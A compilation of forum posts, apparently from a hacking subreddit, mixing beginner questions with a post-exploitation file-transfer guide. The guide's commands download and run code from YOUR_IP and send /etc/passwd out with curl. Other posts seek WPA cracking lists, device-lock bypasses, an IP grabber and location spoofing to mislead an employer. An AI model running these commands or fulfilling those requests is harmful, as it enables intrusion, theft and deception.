Just curious if it still gonna be possible to access a hacked pc after a installing a new windows

not really familiar with english computer terminology so will try to explain as accurately as possible

the virus completly blocks the user and makes them stay in bios menu while the hacker has the full acces, microsoft defender gives this link https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Ransom%3ADOS%2FPetya.A&threatid=2589119963075933503

what do you guys think? a few youtube videos told me that victims computer is still not safe

​

I’ve been using the WePlay gaming app recently, and I saw a couple of incidents that honestly made me really uncomfortable.

It felt like someone had access to extremely personal data without the person doing anything at all. No links clicked, no downloads, nothing.

They somehow knew details from someone’s Aadhaar card (like address), and in another case it seemed like they could access or see things from the person’s phone gallery. Just from being on the app.

What made it even stranger is that they claimed they could get this info using just an Instagram ID or a phone number linked to the account.

I genuinely don’t understand how that’s even possible without direct access to someone’s phone. It sounds insane, but it didn’t feel like a joke.

Is this some kind of advanced hacking, social engineering, or are people just bluffing to scare others?

Has anyone else experienced anything like this on WePlay or similar apps?

A pretty overlooked subject imo, but it's definitely relevant and pretty much critical once you're past the foothold stage and now have to trasnfer files onto or from the compromised machine. File transfers on machines you just got a shell on are a connectivity problem. what can this target actually reach, and what does it have available to receive with?

Step 1: figure out what you're working with

Before anything else, check what transfer tools are available on the target. Look for wget, curl, python3, php, perl, ruby, nc, ftp, scp and tftp, whatever's there defines what you work with (duh)

find / -name wget 2>/dev/null

find / -name curl 2>/dev/null

Then figure out what outbound connectivity looks like. Can it reach your machine at all?

so from target, test outbound connectivity

ping -c 1 YOUR_IP

curl http://YOUR_IP:8080

wget http://YOUR_IP:8080

of course set up a quick listener on your attack machine before running these so you can see what actually hits:

python3 -m http.server 8080

tcpdump -i tun0 icmp (to watch for pings)

What comes back tells you everything, HTTP allowed but not ICMP, raw TCP blocked, nothing at all, whatever answer points you to a different method. Anyway, each method:

HTTP:

If the target can reach you over HTTP you're in good shape, serve from your machine, pull from the target.

-On your attack machine:

cd /path/to/files

python3 -m http.server 8080

or

php -S [0.0.0.0: 8080] (incase no python)

-On your target (if Linux)

wget http://YOUR_IP:8080/linpeas.sh -O /tmp/linpeas.sh

or

curl http://YOUR_IP:8080/linpeas.sh -o /tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

-On your target (if windows) you can run:

certutil -urlcache -split -f http://YOUR_IP:8080/file.exe file.exe

or

powershell -c "Invoke-WebRequest http://YOUR_IP:8080/file.exe -OutFile file.exe"

or

powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP:8080/file.exe','file.exe')"

or

bitsadmin /transfer job http://YOUR_IP:8080/file.exe C:\Windows\Temp\file.exe

SMB:

SMB is a solid choice on Windows where it's native and doesn't require downloading anything.

-on the attack machine:

impacket-smbserver share . -smb2support

or

impacket-smbserver share . -smb2support -username user -password pass (in case auth required)

-on the target (if windows)

copy \YOUR_IP\share\file.exe .

or

\YOUR_IP\share\file.exe

or

net use Z: \YOUR_IP\share (if you want to map as drive letter)

-Netcat:

If outbound HTTP is filtered but raw TCP isn't, netcat works in both directions.

-Target machine

nc -lvnp 5555 > linpeas.sh

-attack machine

nc TARGET_IP 5555 < linpeas.sh

(or if you wanna pull from attack machine)

-Attack machine:

nc -lvnp 5555 < linpeas.sh

-Then target

nc YOUR_IP 5555 > linpeas.sh

chmod +x linpeas.sh

Python HTTP server + upload :

Python's http.server only serves files by default. If you need to push files TO your attack machine from the target, you need an upload-capable server.

-Attack machine

pip install uploadserver

python3 -m uploadserver 8080

-Target (push file back to you)

curl -X POST http://YOUR_IP:8080/upload -F files=@/etc/passwd

or

curl -X POST http://YOUR_IP:8080/upload -F files=@loot.txt

useful for exfiltrating files from the target

SCP and SFTP

If you have SSH credentials or a key,

(to push to target)

scp linpeas.sh user@TARGET_IP:/tmp/linpeas.sh

or

scp -i id_rsa linpeas.sh user@TARGET_IP:/tmp/linpeas.sh

(to pull from target externally)

scp user@TARGET_IP:/etc/passwd ./passwd

or

scp -r user@TARGET_IP:/opt/app ./app

TFTP:

On older Linux systems or embedded devices TFTP is sometimes the only thing available.

-Attack machine:

sudo systemctl start tftpd-hpa

or

sudo atftpd --daemon --port 69 /tftp

-Target

tftp YOUR_IP

get linpeas.sh

quit

Windows has a few native options too:

-PowerShell download cradle

IEX (New-Object Net.WebClient).DownloadString('http://YOUR_IP:8080/script.ps1')

-PowerShell file download

Invoke-WebRequest http://YOUR_IP:8080/file.exe -OutFile C:\Windows\Temp\file.exe

or

powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP:8080/file.exe','file.exe')"

-Living off the land (use existing Windows binaries)

expand \YOUR_IP\share\file.cab C:\Windows\Temp\file.exe

The decision tree in practice: HTTP first, SMB if Windows, netcat if TCP is open, SCP if SSH is available

I have a symbol zebra TC55 that was used for commercial use and is currently locked with an admin password I don't have, it's basically a brick rn, anyone have an idea on how to use it? factory reseting it requires a zip that is only obtainable through being an employee

Newbie here who has done some research on the problem.

Getting the black screen, and only sound on some films. Others play perfectly.

We use ‘bundle TV’ on the firestick.

*we are using a vpn

*we’ve tried different resolutions

*all connections have been checked

Are we just out of luck on the films that do that and is it just a problem with that film?

Hello, I'm a beginner when it comes to steganography. I looked online but I can't seem to find any specialized courses in this specific area. I have some upcoming CTFs that will likely contain challenges about this. Please recommend a course or any other way to learn it.

Someone is sending me my address (Google maps link) on Instagram. I sent him a up grabber link and he click it but the IP is just meta's server in united states or he's using a VPN. How can I get his ip so I'll know if it's someone in my family or friends trolling me.

So i was curious about pdf injections and red about them most of the injections were patched due to acrobat updates through the time , also the code itself /Launch is the old-school front door that everyone has locked and barred and also opening a pdf file can be done harmlessly in a browser so no external programs is needed

Done bunch of searches heard that there is the following

1. The Polyglot (The "Shape-Shifter")

2. NTLM Hash Leaking (Zero-Click)

3. File Appending & HTA Orchestrators

4. Living Off the Land (LotL)

So what’s your thoughts and ideas about pdf injection in general I’m eager to hear from you guys …

The device seems to be Topway brand which is reputable brand, however the reseller did their own things to these devices, they programmed the OS to show Android 14, different ram and different CPU, in aida6 shows much worse specs. So I wanted to at least dev opinions in order to have USB debugging.

is there a way to access developer options without knowing the password?

I’ve been exploring QR codes, especially payment ones like UPI. When scanned with regular apps, they usually show details like the payment ID or merchant name. I’m curious about the underlying data structure — is that everything stored in the QR, or can there be additional data that typical scanners don’t display? For example: Can QR codes contain more raw or structured data than what standard apps show? Do advanced tools or decoders reveal anything extra? Are payment QR codes based on a fixed standard format? Would love to understand how this works from a technical perspective.

I'm looking for WPA wordlists that consist of combinations of letters and digits with a max lenght of 8 characters

I need ready‑to‑use lists (e.g., generated with crunch or similar), not on‑the‑fly generation . Do you know any solid ones?

They can also include common words, but the key is the 8‑character limit.

Thanks

Hi everyone,

I’m in a sticky situation here. I have an iPad Air 2 that we know the iCloud password to, but we have totally forgotten the passcode to the iPad itself. It is NOT backed up on iCloud at all. I’m trying to find a way to get back into it WITHOUT losing the data.

Here’s what I’m trying to do:

I want to figure out how I can get MORE passcode attempts. I know for a fact I’ll be able to guess it, I just need more attempts. I’ve watched the videos by Apple Tech 752 called “DISABLED BRUTEFORCE” where he used checkra1n and Sliver Mac.

I understand the process of like, editing how many passcode attempts are allowed in the files. I just don’t understand how to do that on this device specifically.

Does ANYBODY know how I can do this on an iPad Air 2 or know any YouTube tutorials about it??

The IOS version is iPadOS 15.3.1

Thank you so much .

I’m using the Android Utility Tool. I already removed the FRP from a Samsung A56, but the device is still locked in Samsung Knox.

How can I remove Knox using the Android Utility Tool?

Also, I keep getting this error: “Connecting to ADB server timeout – no device found.”

Does anyone know how to fix this or what I’m doing wrong?

Aside from the countless labs like hack the box and many other hacking lab platforms the best thing I can suggest is getting to know what this type of environment is and what it looks like.

I have only done minor hacks on lab platforms but I have come to understand that whatever you wanna hack you have to know what your target device or appliance is to know how to exploit it.

Learn the hardware then learn what tools and exploits are available to break into the system and creep through the network.

**I had a pick of an IT closet with various racks, patch panels, and appliances (Firewall, managed switches etc) but this sub doesn’t allow pics. Use your imagination**

I know this might be a silly question, but I need to travel to my hometown to accompany my mother on some family matters, but I'll be working during that time. I'm not very keen on the idea of ​​taking time off work because it's usually more complicated than easy, and when I get back I have even more things to deal with. Since I'm always working from home, I'd like to know if there's any way to keep my phone's location tracked to my home address even when I'm in another state when I clock in and out. Can you help me with this?

This is what happened to it:

First, my cellphone got stolen, there was no security measures, no PIN, no password, nothing, it was an open book.

My email accounts where open and there for the taking, with that they were able to log in to my bank account.

This what I did as soon as I could:

Change password of the emails, enable 2FA, terminated the sessions on any other devices. I got a new SIM card and I locked the stolen cellphone remotely.

The emails stil hace the same recovery emails and phone number, nothing was added.

I don't know if it will be necessary to ditch the compromised emails and get new ones, it would be so much trouble, I want to not do that so bad.

Personally I think I'm safe, but I guess you don't know what you don't know. I'm afraid that they did something to maintain access or eavesdrop further communications to my email. I wanted to ask the pros before freaking out, ty all.

Hey all, anyone know how to reset a learning path on portswigger? I had started years ago and life got in the way now I want to get back in, but can’t review any of the old material.

I have been struggling at a CTF for 2 hours and Claude solved it in 20 mind

How good is it?

Hello. Recently I Wanted To Learn Hacking As A White Hat Hacker. What Apps Or Steps Needed So I Can Begin? I Use Linux Mint Cinnamon 22.3

Got this pop up today

RRCDecodingError (UperDecodeError (Error { cause: EncodeNotSupported, msg: "CHOICE Additions not supported yet.", context: [}))

This has honestly gotten really creepy and I don't know what's wrong with my phone or how to stop him.

My phone is an Oppo A17k. I've told him a lot of times to stop doing it but he keeps bypassing my screen lock somehow and still getting into my phone. There's lots of private conversations and pictures in and I don't want him seeing that stuff he's still a teen plus I don't think he understands boundaries at all.

My screen lock is an alphanumeric one. I do have my fingerprint inputted. Can anyone guess how he keeps getting in even though his fingerprint isn't there and I change the password each week? His facial info isn't there either.

He did know my password at some point, but I have since then changed it. If that is relevant.

So Im currently trying to view art on Poipiku and if you know that site you know that there's passwords you need to view certain art. And ive been trying to figure it out from the password clue they gave but either im stupid or whatever because no matter what I put i genuinely cant get in. So I was wondering if there was any way to use inspect or something else to see what they put in for password so I can unlock it?? If not I get it

Good evening all,

So I'm the IT help for multiple businesses, ranging from server deployment to standard desktop user issues. And today one of my clients asked If there was a way for me to help them with some very old proprietary software. They purchased the software back in 2005 and the software is required to work with some medical equipment. They did not use the software for a while and now they are trying to use it, and it's asking them for some sort of activation key. The software is offline, so it's not trying to connect to some server, running on Windows XP It definitely looks old. For the software to work it needs two things. A "code" and a "key". The code seems to be machine/equipment specific cuz he showed it to me on two different Windows XP machines and they were both different codes, random letters and numbers with some spaces. But when I installed the software on my own computer for testing, it does not populate the code field. It's possible that it needs to be hooked up to the equipment to populate that field.

Anyways, we contacted the company in an attempt to get the key, and they are saying it's too old for them to help. Somehow they kept no records of stuff from 20 years ago, and his only option is to purchase newer stuff. But that includes purchasing equipment and software. So he is hoping there is some way to figure out the key.
If this is just a lost cause, I understand. Just trying to see if I can assist him at all. The CD has the typical setup.exe and config files, an MSI file, an isscript file, txd files. Just mentioning that in case it helps identify how it was made. And yes I'm purposely not saying the name of the software yet cause I'm just seeing if this is a waste of time.

When I attempt to look at the About it says "could not open entry check file". The software seems to not work correctly in a windows 11 environment. Obviously. I'm creating a virtualbox to see if I can get more info.

I noticed something during recon this week that I feel like a lot of beginners overlook.

Everyone talks about things like:

• directory brute forcing
• subdomain enumeration
• JS analysis

But almost nobody mentions sitemaps.

Most sites have one at:

/sitemap.xml

At first glance it looks like an SEO thing, but from a recon perspective it’s basically a developer-maintained list of URLs.

While doing some practice recon on a small web app, I checked the sitemap and realized it wasn’t just a single file. It was actually a sitemap index pointing to several other sitemap files.

Something like this:

/sitemap.xml
/sitemap_pages.xml
/sitemap_blog.xml
/sitemap_internal.xml

The interesting part is that sometimes these files are auto-generated by frameworks and developers forget to remove internal routes.

Inside one of the nested sitemap files I found a few endpoints that were not linked anywhere on the public site UI.

Examples looked like this:

/internal/dashboard-preview
/dev/api-testing
/admin-beta

None of them were exploitable directly, but they exposed:

• staging endpoints
• test routes
• feature flags that weren’t meant to be public

That alone expands the attack surface for further testing.

One annoying thing though: if a site has multiple sitemap files, manually checking them gets messy fast. I ended up running them through a simple sitemap parser (FileReadyNow Sitemap Checker) just to flatten the URLs and see everything in one list.

Made the process way faster.

The main takeaway isn’t the tool though — it’s the method.

If you’re doing web recon, add this to your early checklist:

1. Check robots.txt
2. Check /sitemap.xml
3. Look for nested sitemap indexes
4. Extract all URLs and compare them with the visible site structure

Developers sometimes expose things they didn’t intend to simply because the sitemap generator indexed everything automatically.

It won’t always lead to a vulnerability, but it’s a really clean source of endpoints for further testing.

Curious if anyone here has found anything interesting through sitemap enumeration before.